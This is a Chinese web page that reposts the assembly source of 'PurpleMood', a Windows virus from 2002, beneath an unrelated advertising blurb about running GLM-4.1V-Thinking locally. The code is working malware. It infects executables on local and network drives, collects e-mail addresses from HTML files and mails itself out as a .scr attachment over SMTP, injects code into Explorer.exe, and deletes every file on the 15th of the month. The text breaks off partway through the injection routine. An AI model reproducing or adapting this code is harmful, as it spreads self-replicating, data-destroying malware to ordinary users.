PurpleMood (紫色心情) 病毒源代码

​开源大模型实战:GLM-4.1V-Thinking本地部署教程(附API调用代码) ​在AI应用从“能用”向“好用”进阶的当下,​的需求愈发强烈:企业需保障数据安全(如医疗影像、金融报告不外传),开发者追求定制化能力(如微调模型适配垂直场景),科研团队则依赖离线环境处理敏感数据。智谱AI开源的​(10B级参数,支持图像、视频、文档多模态推理)凭借的优势,成为本地部署的热门选择。不过,对于“不想折腾技术”的普通用户或快速验证需求的团队而言,​,无需安装配置,打开即用,堪称“零门槛”体验的捷径。本文将分为两部分:先手把手教你​(适合有技术背景的用户),再对比介绍。 阅读详情

*******************************************************************
病毒名称:PurpleMood (紫色心情)
适用环境: Win9x/Winnt/Win2k/Winxp
编写环境: Win2k,Masm32v6
简  介:1. 感染本地硬盘和网络上所有exe(GUI)文件
     2. 搜索本地所有邮件地址,将病毒作为附件发送出去
     3. 在Explorer进程中注入线程监控程序的运行。
     4. 每月15日,发作。删除硬盘所有文件。
完成日期:2002/6/20
版  本:v1.0
大  小:6736(byte)
联系地址: XPurpleMood@163.com
警 告 : 以下程序(方法)可能带有攻击性,仅供技术交流。
     使用者风险自负!若有其他用途,概与本人无关
     万一有转贴,请保持完整性,多谢!
*******************************************************************
.386
.model flat,stdcall
option casemap:none
include useful.inc

.data
hi  db "hi",0
ppmm db "ppmm,you need no reason to love me!",0

.code
main:
  mov  HostEntry,offset ret_addr
  jmp  VStart
ret_addr:
  Invoke MessageBox,NULL,offset ppmm,offset hi,0
  ret

CODE SEGMENT
VStart:             ;virus starts here :)
    call  start
start:
    pop  ebx
    sub  ebx , offset start

    call  GetKBase
    call  GetAPIz

    call  PayLoad
    lea  esi,[offset szEXEPath+ebx]
    push  MAX_PATH
    push  esi
    push  NULL
    mov  eax , 12345678h
_GetModuleFileNameA = dword ptr $-4
    call  eax
    lea  edi,[offset szFilePath+ebx]
    push  50
    push  edi
    mov  eax , 12345678h
_GetSystemDirectoryA = dword ptr $-4
    call  eax
    add  eax,FNameSize
    mov  SCRPathSize[ebx],eax
    lea  eax,[offset szFileName+ebx]
    push  eax
    push  edi
    mov  eax , 12345678h
_lstrcat    = dword ptr $-4
    call  eax
    push  esi
    push  edi
    mov  eax , 12345678h
_lstrcmpi   = dword ptr $-4
    call  eax
    or   eax,eax
    jz   StartInfect
    call  CreatePE
    call  rtInit
    call  MakeSCRAlive
Ret2Host:
    push  HostEntry[ebx]
    ret          ;此时栈顶为HostEntry,返回正常入口执行
StartInfect:
    lea  eax,[offset nGetProcAddress+ebx] ;Mutex name
    push  eax
    push  FALSE
    push  NULL
    mov  eax , 12345678h
_CreateMutex  = dword ptr $-4
    call  eax
    lea  eax,[offset MonitorThread + ebx]
    push  0
    push  0
    push  ebx          ;I pass 0 first :(
    push  eax
    push  0
    push  0
    mov  eax , 12345678h
_CreateThread = dword ptr $-4
    call  eax
    lea  eax,[offset PEThread + ebx]
    push  0
    push  0
    push  ebx          ;I pass 0 first :(
    push  eax
    push  0
    push  0
    call  _CreateThread[ebx]
    call  MailThread      ;while(TRUE)

;**********获得image of kernel32.dll的基址*****************
GetKBase:
     mov  edi , [esp+4]
     and  edi , 0FFFF0000h
     .while TRUE
       .if WORD ptr [edi] == IMAGE_DOS_SIGNATURE
         mov esi, edi
         add esi, [esi+03Ch]
         .if DWORD ptr [esi] == IMAGE_NT_SIGNATURE
            .break
         .endif
       .endif
       sub edi, 010000h
       .if edi < MIN_KERNEL_SEARCH_BASE  ;win9x
          mov edi, 0bff70000h  ;0bff7000h=9x"base
          .break
       .endif
      .endw
      mov  hKernel32[ebx],edi
      ret
GetAPIz:
     mov   edx,edi           ;edx->Kernel32_Base
     assume edx :ptr IMAGE_DOS_HEADER
     add   edx,[edx].e_lfanew
     assume edx:ptr IMAGE_NT_HEADERS
     mov   edx,[edx].OptionalHeader.DataDirectory.VirtualAddress
     add   edx,hKernel32[ebx]
     assume edx:ptr IMAGE_EXPORT_DIRECTORY
     mov   ebp,[edx].AddressOfNames
     add   ebp,hKernel32[ebx] ;now ebp=Addr of RVAofName[]
     xor   eax,eax       ;eax AddressOfNames Index
    .repeat
       push 14    ;Lenth of GetProcAddress
       pop  ecx
       mov  edi,[ebp]
       add  edi,hKernel32[ebx]
       lea  esi,[offset nGetProcAddress+ebx]
       repz cmpsb
       .if  zero?
          .break
       .endif
       add  ebp,4    ;下一个RVA
       inc  eax
    .until eax == [edx].NumberOfNames
    mov   ebp, [edx].AddressOfNameOrdinals
    add   ebp, hKernel32[ebx]
    movzx  ecx, word ptr [ebp+eax*2]
    mov   ebp, [edx].AddressOfFunctions  ;get addr of the api
    add   ebp, hKernel32[ebx]
    mov   eax, [ebp+ecx*4]
    add   eax,hKernel32[ebx]
    mov   _GetProcAddress[ebx],eax  ;Save GetProcAddress
GetOApiz:
     call @api_table
     db "LoadLibraryA",0
     db "CreateThread",0
     db "CreateRemoteThread",0
     db "WinExec",0
     db "CreateMutexA",0
     db "OpenMutexA",0
     db "ReleaseMutex",0
     db "FindFirstFileA",0
     db "FindNextFileA",0
     db "FindClose",0
     db "CreateFileA",0
     db "CreateFileMappingA",0
     db "MapViewOfFile",0
     db "UnmapViewOfFile",0
     db "SetFilePointer",0
     db "WriteFile",0
     db "CloseHandle",0
     db "VirtualAlloc",0
     db "VirtualAllocEx",0
     db "WriteProcessMemory",0
     db "VirtualFree",0
     db "VirtualFreeEx",0
     db "lstrcmpi",0
     db "lstrcpy",0
     db "lstrcat",0
     db "lstrlen",0
     db "GetFileSize",0
     db "GetSystemDirectoryA",0
     db "GetModuleFileNameA",0
     db "Sleep",0
     db "GetSystemTime",0
     db "DeleteFileA",0
     db "OpenProcess",0
@api_table:
     pop  edi
     call @api_dest
K_Apiz:
     dd  offset _LoadLibraryA
     dd  offset _CreateThread
     dd  offset _CreateRemoteThread
     dd  offset _WinExec
     dd  offset _CreateMutex
     dd  offset _OpenMutex
     dd  offset _ReleaseMutex
     dd  offset _FindFirstFile
     dd  offset _FindNextFile
     dd  offset _FindClose
     dd  offset _CreateFile
     dd  offset _CreateFileMapping
     dd  offset _MapViewOfFile
     dd  offset _UnmapViewOfFile
     dd  offset _SetFilePointer
     dd  offset _WriteFile
     dd  offset _CloseHandle
     dd  offset _VirtualAlloc
     dd  offset _VirtualAllocEx
     dd  offset _WriteProcessMemory
     dd  offset _VirtualFree
     dd  offset _VirtualFreeEx
     dd  offset _lstrcmpi
     dd  offset _lstrcpy
     dd  offset _lstrcat
     dd  offset _lstrlen
     dd  offset _GetFileSize
     dd  offset _GetSystemDirectoryA
     dd  offset _GetModuleFileNameA
     dd  offset _Sleep
     dd  offset _GetSystemTime
     dd  offset _DeleteFile
     dd  offset _OpenProcess
K_API_NUM  = ($-K_Apiz)/4
@api_dest:
    pop   esi
    push   K_API_NUM
    pop   ecx
    xor   ebp,ebp
K_begin:
    push   ecx
    push   edi
    push   hKernel32[ebx]
    call   _GetProcAddress[ebx]
    or    eax,eax
    jz    GA_Fail
    mov   edx , [esi+ebp]
    mov   dword ptr [edx+ebx],eax
    xor   eax,eax
    repnz  scasb     ;寻找字符串结束标志0,使edi指向下个函数名
    add   ebp,4
    pop   ecx
    loop   K_begin
    @pushsz "MPR.dll"
    call   _LoadLibraryA[ebx]
    or    eax,eax
    jz    short GA_Fail
    xchg   esi,eax            ;HMODULE of MPR.dll
Mpr_begin:
    @pushsz "WNetOpenEnumA"
    push   esi
    call   _GetProcAddress[ebx]
    mov   _WNetOpenEnum[ebx],eax
    @pushsz "WNetEnumResourceA"
    push   esi
    call   _GetProcAddress[ebx]
    mov   _WNetEnumResource[ebx],eax
    @pushsz "WNetCloseEnum"
    push   esi
    call   _GetProcAddress[ebx]
    mov   _WNetCloseEnum[ebx],eax
GA_Fail:
    ret
PayLoad:
    call  @PL1
SystemTime   SYSTEMTIME <>
@PL1:  mov  esi,[esp]
    mov  eax , 12345678h
_GetSystemTime = dword ptr $-4
    call  eax
movzx eax , word ptr [esi+6]      ;SystemTime.wDay
cmp  ax,14h        ;15号吗?
jnz  PL_Exit
KILL:
    push  FILE_ALL
    @pushsz "d:/test"
    call  EnumDir
PL_Exit:
    ret

;*********************************************
;the thread begin to enum all file in disk and
;network , when it finds a pe file Infect it!
;*********************************************
PEThread PROC MReloc : DWORD
PT_Work:
   mov   ebx,MReloc
   push   FILE_EXE
   @pushsz "d:/test"
   call   EnumDir
   ;push   NULL
   ;call   EnumNetWork
   push   1000*60*60      ;sleep an hour:)
   call   _Sleep[ebx]
   jmp   short PT_Work
PEThread ENDP

;枚举网络邻居
EnumNetWork PROC pNetResource : DWORD
   LOCAL  hEnum    : DWORD
   LOCAL  Count    : DWORD
   LOCAL  BufferSize : DWORD
   pushad
   push  0FFFFFFFFh
   pop   Count
   push  16*1024
   pop   BufferSize
   lea   eax , hEnum
   push  eax
   push  pNetResource
   push  0
   push  RESOURCETYPE_DISK
   push  RESOURCE_GLOBALNET
   mov   eax , 12345678h
_WNetOpenEnum = dword ptr $-4
   call  eax
   or   eax,eax
   jnz   EN_Exit
   push  PAGE_READWRITE
   push  MEM_RESERVE or MEM_COMMIT
   push  16*1024
   push  0
   mov   eax , 12345678h
_VirtualAlloc = dword ptr $-4
   call  eax
   or   eax,eax
   jz   short EN_Close
   mov   pNetResource,eax
   lea   eax,BufferSize
   push  eax
   push  pNetResource
   lea   eax,Count
   push  eax
   push  hEnum
   mov   eax , 12345678h
_WNetEnumResource = dword ptr $-4
   call  eax
   or   eax,eax
   jnz   short EN_Free
   mov   ecx,Count
   mov   edi,pNetResource
   assume edi:ptr NETRESOURCEA
EN_Loop:
   push  ecx
   mov   eax,[edi].dwUsage
   and   al,2
   .IF   al == 2
       push  edi
       call  EnumNetWork
   .ELSE
       mov   eax,[edi].lpRemoteName
       push  FILE_EXE
       push  eax
       call  EnumDir
   .ENDIF
   add   edi,20h  ; sizeof NETRESOURCE
   pop   ecx
loop EN_Loop
EN_Free:
   push   MEM_RELEASE
   push   0
   push   pNetResource
   mov   eax , 12345678h
_VirtualFree  = dword ptr $-4
   call   eax
EN_Close:
   push   hEnum
   mov   eax , 12345678h
_WNetCloseEnum = dword ptr $-4
   call   eax
EN_Exit:
   popad
   ret 4
EnumNetWork ENDP

;************InfectDisk***********************
;遍历本地硬盘,从C盘到Z盘,调用EnumDir遍历所有exe
;*********************************************
EnumDisk PROC DirName : DWORD,FileType : DWORD
    .REPEAT
        push FileType
        push DirName
        call EnumDir
        mov  eax,DirName
        inc  byte ptr [eax]
        mov  al,byte ptr[eax]
    .UNTIL al > "z"
    mov byte ptr [eax] , "c"
    ret 8
EnumDisk ENDP
;************EnumDir************
;遍历DirName,寻找FileType类型文件
;*******************************
EnumDir PROC  DirName : DWORD , FileType:DWORD
    LOCAL  hSearch       : DWORD
    LOCAL  DirorFile[MAX_PATH] : DWORD
    pushad
    push  DirName
    lea   esi,DirorFile
    push  esi
    mov   eax , 12345678h
_lstrcpy    = dword ptr $-4
    call  eax
    @pushsz "/*.*"
    push  esi             ;DirorFile
    call  _lstrcat[ebx]
    lea  edi,[offset wfd+ebx]
    push  edi
    push  esi
    mov   eax , 12345678h
_FindFirstFile = dword ptr $-4
    call  eax
    cmp  eax,INVALID_HANDLE_VALUE
    jz   ED_Exit
    mov  hSearch,eax
    .REPEAT
      .if  byte ptr [wfd+44+ebx]=="."
          jmp short EN_NEXT
      .endif
      push  DirName
      push  esi
      call  _lstrcpy[ebx]
      @pushsz "/"
      push  esi
      call  _lstrcat[ebx]
      lea   eax,[wfd+44+ebx]
      push  eax
      push  esi            ;DirorFile
      call  _lstrcat[ebx]
      mov   eax , dword ptr [wfd+ebx]
      and   eax , FILE_ATTRIBUTE_DIRECTORY
      .if   eax ==FILE_ATTRIBUTE_DIRECTORY
          push  dword ptr FileType
          push  esi
          call  EnumDir
      .else                  ;是文件
          push  dword ptr FileType
          push  esi
          call  AnFile
      .endif
EN_NEXT:
      push  edi
      push  hSearch
      mov  eax , 12345678h
_FindNextFile   = dword ptr $-4
      call  eax
    .UNTIL eax==0        ;FindNexeFile fail
ED_Close:
     push  hSearch
     mov  eax , 12345678h
_FindClose   = dword ptr $-4
     call  eax
ED_Exit:
     popad
     ret  8
EnumDir ENDP
;分析文件类型,入口参数为文件名和欲匹配类型(exe或htm)
AnFile PROC FileName:DWORD,FileType:DWORD
    pushad
AF_00: lodsb
    or  al,al
    jnz AF_00
    .if    FileType == FILE_ALL  ;all
         push FileName
         mov   eax , 12345678h
_DeleteFile    = dword ptr $-4
         call  eax
    .elseif  FileType == FILE_EXE  ;exe
          mov eax,[esi-5]
         .if eax == "exe."
           push  FileName
           call  InfectFile
         .endif
    .else              ;FileType = FILE_HTM
AF_01:      sub esi , 2
         lodsb
         cmp al,"."
         jnz AF_01
         mov eax,[esi-1]
         .if eax == "mth."
           push  FileName
           call  Parse_HTM
         .endif
    .endif
    popad
    ret 8
AnFile ENDP

;感染PE文件
InfectFile PROC FileName : DWORD
    LOCAL  hFile  : DWORD
    LOCAL  hMapping : DWORD
    LOCAL  pMapping : DWORD
    LOCAL  ByteWrite: DWORD
    pushad
    push NULL
    push FILE_ATTRIBUTE_NORMAL
    push OPEN_EXISTING
    push NULL
    push FILE_SHARE_READ+FILE_SHARE_WRITE
    push GENERIC_READ+GENERIC_WRITE
    push FileName
    mov   eax , 12345678h
_CreateFile = dword ptr $-4
    call  eax
    cmp  eax,INVALID_HANDLE_VALUE
    jz  IF_Exit
    mov  hFile,eax
    push  0
    push  0
    push  0
    push  PAGE_READWRITE
    push  NULL
    push  hFile
    mov   eax , 12345678h
_CreateFileMapping = dword ptr $-4
    call  eax
    or   eax,eax
    jz   IF_F3
    mov  hMapping , eax
    push  0
    push  0
    push  0
    push  FILE_MAP_READ+FILE_MAP_WRITE
    push  hMapping
    mov  eax , 12345678h
_MapViewOfFile = dword ptr $-4
    call  eax
    or   eax,eax
    jz   IF_F2
    mov  pMapping,eax
    mov  esi,eax
    assume esi :ptr IMAGE_DOS_HEADER
    .IF [esi].e_magic!=IMAGE_DOS_SIGNATURE
       jmp IF_F1
    .ENDIF
    .IF [esi].e_lfarlc!=040h
       jmp IF_F1
    .ENDIF
    add esi,[esi].e_lfanew         ;此时edx指向PE文件头
    assume esi:ptr IMAGE_NT_HEADERS
    .IF [esi].Signature!=IMAGE_NT_SIGNATURE  ;是PE文件吗?
       jmp IF_F1
    .ENDIF
    .IF word ptr [esi].OptionalHeader.Subsystem!=2
       jmp IF_F1
    .ENDIF
    .IF word ptr [esi+1ah]==0815h
       jmp IF_F1
    .ENDIF
    mov eax,[esi].OptionalHeader.AddressOfEntryPoint
    add eax,[esi].OptionalHeader.ImageBase
    mov HostEntry[ebx],eax           ;保存原入口
;***************************************************************
;判断是否有足够空间存储新节
;28h=sizeof IMAGE_SECTION_HEADER
;18h=sizeof IMAGE_FILE_HEADER+Signature
;edi将指向新节
;***************************************************************
    movzx eax,[esi].FileHeader.NumberOfSections
    mov  ecx,28h
    mul  ecx
    lea  edi,[esi]
    sub  edi,pMapping
    add  eax,edi
    add  eax,18h
    movzx edi,[esi].FileHeader.SizeOfOptionalHeader
    add  eax,edi
    mov  edi,eax
    add  edi,pMapping       ;I forgot this first
    add  eax,28h
    .IF eax>[esi].OptionalHeader.SizeOfHeaders
       jmp IF_F1
    .ENDIF
;*****************************************
;空间允许, ^0^,开始插入新节并填充各字段
;esi指向原文件最后一个节,利用它来填充新节某些字段
;*****************************************
    inc [esi].FileHeader.NumberOfSections
    assume edi:ptr IMAGE_SECTION_HEADER
    mov   dword ptr[edi],00736A78h  ;"xjs"
    push [esi].OptionalHeader.SizeOfImage
    pop [edi].VirtualAddress
    mov eax,offset VEnd-offset VStart
    mov [edi].Misc.VirtualSize,eax
    mov ecx,[esi].OptionalHeader.FileAlignment
    div ecx
    inc eax
    mul ecx
    mov [edi].SizeOfRawData,eax
    lea eax,[edi-28h+14h]        ;PointerToRawData
    mov eax,[eax]
    lea ecx,[edi-28h+10h]        ;SizeOfRawData
    mov ecx,[ecx]
    add eax,ecx
    mov [edi].PointerToRawData,eax
    mov [edi].Characteristics,0E0000020h ;可读可写可执行
;***************************************************************
;更新SizeOfImage,AddressOfEntryPoint,使新节可以正确加载并首先执行
;***************************************************************
    mov eax,[edi].Misc.VirtualSize
    mov ecx,[esi].OptionalHeader.SectionAlignment
    div ecx
    inc eax
    mul ecx
    add eax,[esi].OptionalHeader.SizeOfImage
    mov [esi].OptionalHeader.SizeOfImage,eax
    mov eax,[edi].VirtualAddress
    mov [esi].OptionalHeader.AddressOfEntryPoint,eax
    mov word ptr [esi+1ah],0815h  ;写入感染标志
    push FILE_BEGIN
    push 0
    push [edi].PointerToRawData
    push hFile
    mov  eax , 12345678h
_SetFilePointer = dword ptr $-4
    call eax
;****************************************************************
;设置文件指针到结尾后,写入从VStart开始的代码,大小经过文件对齐
;****************************************************************
    push 0
    lea  eax,ByteWrite
    push eax
    push [edi].SizeOfRawData
    lea  eax,[offset VStart+ebx]
    push eax
    push hFile
    mov  eax , 12345678h
_WriteFile = dword ptr $-4
    call eax
IF_F1:
    push pMapping
    mov   eax , 12345678h
_UnmapViewOfFile = dword ptr $-4
    call  eax
IF_F2:
    push hMapping
    call _CloseHandle[ebx]
IF_F3:
    push hFile
    call _CloseHandle[ebx]
IF_Exit:
    popad
    ret 4
InfectFile ENDP
;*****************电子邮件传播线程***************************
;从本地、网络的*.htm*获得邮件地址.
;***********************************************************
MailThread:
      call  MailInit
MT_Work:
      push  FILE_HTM
      @pushsz "c:"
      call  EnumDisk
      push  1000*60*60*24      ;sleep a day :)
      call  _Sleep[ebx]
      jmp  short MT_Work
;*********************************************************
;Mutate virus to BASE64 only once
;*********************************************************
MailInit PROC
    LOCAL hFile  : DWORD
    LOCAL hMapping : DWORD
    LOCAL pMapping : DWORD
    pushad
    xor  edi,edi
    push  edi
    push  FILE_ATTRIBUTE_NORMAL
    push  OPEN_EXISTING
    push  edi
    push  FILE_SHARE_READ
    push  GENERIC_READ
    lea  eax,[offset szFilePath+ebx]
    push  eax
    call  _CreateFile[ebx]
    mov  hFile,eax
    push  edi
    push  edi
    push  edi
    push  PAGE_READONLY
    push  edi
    push  eax
    call  _CreateFileMapping[ebx]
    mov  hMapping,eax
    push  edi
    push  edi
    push  edi
    push  FILE_MAP_READ
    push  eax
    call  _MapViewOfFile[ebx]
    mov  pMapping,eax
    push  PAGE_READWRITE
    push  MEM_RESERVE or MEM_COMMIT
    push  SIZEOF_VIRUS_FILE*2
    push  edi
    call  _VirtualAlloc[ebx]
    mov  Base64_Encoded_Data[ebx],eax
    mov  esi,pMapping
    mov  edi,Base64_Encoded_Data[ebx]
    call  EncodeBase64
    @pushsz "WSOCK32.DLL"
    call   _LoadLibraryA[ebx]
    xchg   eax,edi  ;hSockDll
    @pushsz "WSAStartup"
    push   edi
    call   _GetProcAddress[ebx]
    lea   esi,[offset WSA_Data+ebx]
    push   esi
    push   0202h    ;!!!warning 2.2
    call   eax
    @pushsz "socket"
    push   edi
    call   _GetProcAddress[ebx]
    mov   [offset _socket+ebx],eax
    @pushsz "gethostbyname"
    push   edi
    call   _GetProcAddress[ebx]
    @pushsz "pact518.hit.edu.cn"
    call   eax
    mov   esi,[eax+12]
    lodsd
        push   [eax]
     pop   [offset ServIP + ebx]
@pushsz "connect"
push   edi
    call   _GetProcAddress[ebx]
mov   [offset _connect+ebx],eax
@pushsz "send"
push   edi
    call   _GetProcAddress[ebx]
mov   [offset _send+ebx],eax
@pushsz "closesocket"
push   edi
    call   _GetProcAddress[ebx]
mov   [offset _closecsoket+ebx],eax
MI_Close3:
push  pMapping
call  _UnmapViewOfFile[ebx]
MI_Close2:
push  hMapping
call  _CloseHandle[ebx]
MI_Close:
push  hFile
call  _CloseHandle[ebx]
MI_Exit:
    popad
    ret
MailInit ENDP
;**********************************
;esi <- Buffer with data to encode
;edi <- Destination buffer
;**********************************
EncodeBase64 Proc
     LOCAL BASE64_lines : DWORD
     xor ecx,ecx
     mov BASE64_lines,ecx
     cld
BASE64encode_loop:
     cmp ecx,SIZEOF_VIRUS_FILE
     jae BASE64__exit
     xor edx,edx
     mov dh,byte ptr [esi+ecx]
     inc ecx
     cmp ecx,SIZEOF_VIRUS_FILE
     jae BASE64__00
     mov dl,byte ptr [esi+ecx]
BASE64__00:
inc ecx
    shl edx,08h
    cmp ecx,SIZEOF_VIRUS_FILE
    jae BASE64__01
    mov dl,byte ptr [esi+ecx]
BASE64__01:
 inc ecx
    mov eax,edx
    and eax,00fc0000h
    shr eax,12h
    mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
    stosb
    mov eax,edx
    and eax,0003f000h
    shr eax,0Ch
    mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
    stosb
    mov eax,edx
    and eax,00000fc0h
    shr eax,06h
    mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
    stosb
    mov eax,edx
    and eax,0000003fh
    mov al,byte ptr [eax+offset Base64DecodeTable+ebx]
    stosb
    cmp ecx,SIZEOF_VIRUS_FILE
    jbe BASE64__02
    mov byte ptr [edi-00000001h],"="
BASE64__02:
 cmp ecx,SIZEOF_VIRUS_FILE+01h
    jbe BASE64__03
    mov byte ptr [edi-00000002h],"="
    inc BASE64_lines
    cmp BASE64_lines,00000013h
    jne BASE64encode_loop
    mov ax,0A0Dh
    stosw
    mov BASE64_lines,00000000h
BASE64__03:
 jmp BASE64encode_loop
BASE64__exit:
 mov ax,0A0Dh
    stosw
    ret
EncodeBase64 EndP
;**********************************************
;发送邮件函数
;1. 连接SMTP Server
;2. 发送协议信息,发送BASE64编码的附件,发送其余数据
;warning: 发送数据的长度
;**********************************************
SendMail PROC
pushad
    push   NULL
    push   SOCK_STREAM
    push   AF_INET
    mov   eax , 12345678h
_socket     = dword ptr $-4
call   eax
    mov   VSocket[ebx],eax
push   sizeof(sockaddr) ; Size of connect strucure=16
call   @SMTP1   ; Connect structure
dw    AF_INET      ; Family
db    0,25   ; Port number,avoid htons :)
ServIP dd    0   ; in_addr of server
db    8 dup(0)  ; Unused
@SMTP1:
push   [offset VSocket+ebx]
mov   eax , 12345678h
_connect     = dword ptr $-4
call   eax
lea   eax,[offset SM_I+ebx]
push   eax
mov   eax,12345678h
_lstrlen     = dword ptr $ - 4
call   eax
push   NULL
push   eax
call   SM_I_End
SM_I:
HelloServer db "HELO cx",0dh,0ah
       db "MAIL FROM: <"
TempMailTo  db 128 dup (0)
SM_I_End:
push   [offset VSocket+ebx]
call   _send[ebx]
    push   NULL
push   SM_II_End - SM_II
call   SM_II_End
SM_II:
       db ">",0dh,0ah
RcptTo    db "RCPT TO: <test@pact518.hit.edu.cn>",0dh,0ah
SM_II_End:
push   [offset VSocket+ebx]
call   _send[ebx]
push   NULL
push   SM_Data_Len
call   SM_Data
MailData   db "DATA",0dh,0ah
       db "Subject:hi",0dh,0ah
       db "Content-Type: multipart/mixed;boundary=WC_MAIL_PaRt_BoUnDaR
y_05151998",0dh,0ah
       db "--WC_MAIL_PaRt_BoUnDaRy_05151998",0dh,0ah
   db "Content-Type: application/octet-stream; file=PurpleMood.scr",0dh,0
ah
      db "Content-Transfer-Encoding: base64",0dh,0ah
       db "Content-Disposition: attachment; filename=PurpleMood.scr",0
dh,0ah,0dh,0ah
SM_Data_Len    = $ - MailData
SM_Data:
    push   [offset VSocket+ebx]
call   _send[ebx]
    mov   eax,Base64_Encoded_Data[ebx]
    push   eax
    call   _lstrlen[ebx]
push   NULL           ;Send base64 attachment
push   eax           ;SIZEOF_VIRUS_BASE64
push   [offset Base64_Encoded_Data+ebx] ; Buffer
push   [offset VSocket+ebx]
call   _send[ebx]
push   NULL
push   SM_DR_Len
call   SM_DR
MailDataRemain  db "--WC_MAIL_PaRt_BoUnDaRy_05151998--",0dh,0ah
         db 0dh,0ah,".",0dh,0ah,"QUIT",0dh,0ah
SM_DR_Len    = $ - MailDataRemain
SM_DR:
push   [offset VSocket+ebx]
call   _send[ebx]
push   [offset VSocket+ebx]
mov   eax , 12345678h
_closecsoket    = dword ptr $-4
call   eax
popad
ret
SendMail ENDP
;分析MailFileName(*.htm*),寻找Mail_Addr.
Parse_HTM PROC FileName :DWORD
    LOCAL  hFile  : DWORD
    LOCAL  hMapping : DWORD
    LOCAL  SafeFSize: DWORD

pushad
push 0
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push 0
push FILE_SHARE_READ
push GENERIC_READ
push FileName
call _CreateFile[ebx]
or   eax,eax
jz PH_Exit
mov   hFile , eax
xor eax,eax
push eax
push eax
push eax
push PAGE_READONLY
push eax
push hFile
call _CreateFileMapping[ebx]
or eax,eax
jz PH_Close
mov   hMapping,eax
xor eax,eax
push eax
push eax
push eax
push FILE_MAP_READ
push hMapping
call _MapViewOfFile[ebx]
or eax,eax
jz PH_Close2
xchg eax,esi      ;esi = pMapping
push 0
push hFile
    mov   eax , 12345678h
_GetFileSize  = dword ptr $-4
    call  eax
sub   eax,16      ;For security
add   eax,esi
mov   SafeFSize,eax   ;esi must be below SafeFSize
    .while esi < SafeFSize
      xor  edx,edx     ;Valid = FALSE
      @pushsz   "mailto:
      pop  edi
      push  7        ;strlen of "mailto:
      pop  ecx
      repz cmpsb
    .if  zero?      ;找到 mailto:
       lea  edi,[offset TempMailTo+ebx]
          push edi
          .while esi<SafeFSize
              lodsb
              .if   al==" "
                  .continue
              .elseif al==">" || al==""" ||al==""""||al=="<"
                   xor al,al
                   stosb
                   .break
              .elseif al=="@"
                   stosb
                   inc edx
              .else
                   stosb
              .endif
          .endw
          pop  edi
          .if  edx==1
              call SendMail
          .endif
    .endif
    inc esi
  .endw
PH_Close3:
push esi
call _UnmapViewOfFile[ebx]
PH_Close2:
push hMapping
call _CloseHandle[ebx]
PH_Close:
push hFile
call _CloseHandle[ebx]
PH_Exit:
popad
ret   4
Parse_HTM ENDP
;****************************
;data used by SendMail
;****************************
WSA_Data   WSADATA  <>
VSocket    dd    0
_send     dd    0
Base64_Encoded_Data   dd 0
Base64DecodeTable    equ $
     db  "A","B","C","D","E","F","G","H","I","J"
     db  "K","L","M","N","O","P","Q","R","S","T"
  db  "U","V","W","X","Y","Z","a","b","c","d"
  db  "e","f","g","h","i","j","k","l","m","n"
  db  "o","p","q","r","s","t","u","v","w","x"
  db  "y","z","0","1","2","3","4","5","6","7"
  db  "8","9","+","/"
SizeOfBase64DecodeTable   equ $-Base64DecodeTable
;********CreatePE**********************
CreatePE PROC
   LOCAL ByteWrite:DWORD
   pushad
   lea  eax , [offset szFilePath+ebx]
   push NULL
   push FILE_ATTRIBUTE_NORMAL
   push CREATE_NEW
   push NULL
   push FILE_SHARE_READ+FILE_SHARE_WRITE
   push GENERIC_READ+GENERIC_WRITE
   push eax
   call _CreateFile[ebx]
   or  eax,eax
   jz  CT_Exit
   xchg eax,esi
   lea  edi,ByteWrite
   push 0
   push edi
   push 200h      ; 文件头<200h & FileAliagment=200h
   lea  eax,[offset MDosStub+ebx]
   push eax
   push esi        ;esi=hFile
   call _WriteFile[ebx]  ;Write DosStub,NTHeader,SectionHeader
   push 0
   push edi
   push VRAW_SIZE
   lea  eax,[offset VStart+ebx]
   push eax
   push esi
   call _WriteFile[ebx]  ;Write code and import tatle
   push esi
   call _CloseHandle[ebx]
CT_Exit:
   popad
   ret
CreatePE ENDP
;*************MonitorThread********************************
;Enum所有活动进程,插入rtThreadStart->rtThreadEnd的代码,监视PurpleMood.scr
;的运行和注册表的Run项.
;**********************************************************
MonitorThread PROC MReloc : DWORD
    mov   ebx , MReloc
@pushsz "PSAPI"
call _LoadLibraryA[ebx]
    xchg   eax,esi
@pushsz "EnumProcesses"
push esi
call _GetProcAddress[ebx]
mov _EnumProcesses[ebx],eax
@pushsz "EnumProcessModules"
push esi
call   _GetProcAddress[ebx]
mov _EnumProcessModules[ebx],eax
@pushsz "GetModuleBaseNameA"
push esi
call _GetProcAddress[ebx]
mov _GetModuleBaseNameA[ebx],eax
lea esi,[offset procz + ebx]
lea edi,[offset tmp  + ebx]
push edi
push 128
push esi
mov eax,12345678h
_EnumProcesses  = dword ptr $-4
call eax    ;enumerate all running processes
dec eax
jne MT_Exit
add esi,4      ;esi->ProcessIDs[128]
p_search:
lodsd   ;get PID
test eax,eax
je MT_Exit
call AnalyseProcess    ;and try to infect it
jmp p_search
MT_Exit:
    ret   4
MonitorThread ENDP
AnalyseProcess Proc
    pushad
push eax    ;process id
push 0
push PROCESS_VM_OPERATION or PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or P
ROCESS_VM_READ or PROCESS_QUERY_INFORMATION
mov eax,12345678h
_OpenProcess  = dword ptr $-4
call eax  ;PID -> handle
or eax,eax
jz AP_Exit
mov hProcess[ebx],eax
lea esi,[offset modz + ebx]
lea ecx,[offset tmp + ebx]
push ecx
push 4
push esi
push hProcess[ebx]
mov eax,12345678h
_EnumProcessModules = dword ptr $-4
call eax  ;get first (main) module
dec eax
jne AP_Exit
lodsd
lea edi,[offset mod_name + ebx]
push MAX_PATH
push edi
push eax
push hProcess[ebx]
mov eax,12345678h
_GetModuleBaseNameA = dword ptr $-4
call eax  ;get its name
test eax,eax
je AP_Exit
    @pushsz "Explorer.exe"
    push  edi
    call  _lstrcmpi[ebx]
    jnz   AP_Exit
lea esi,[offset rtThreadStart + ebx]
mov edi,rtThreadEnd - rtThreadStart
    push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push edi
push 0
push 12345678h
hProcess =   dword ptr $-4
mov eax,12345678h
_VirtualAllocEx = dword ptr $-4
call eax  ;aloc there a memory
test eax,eax
je AP_Exit
xchg eax,ebp
push 0
push edi
push esi
push ebp
push dword ptr [ebx + offset hProcess]
mov eax,12345678h
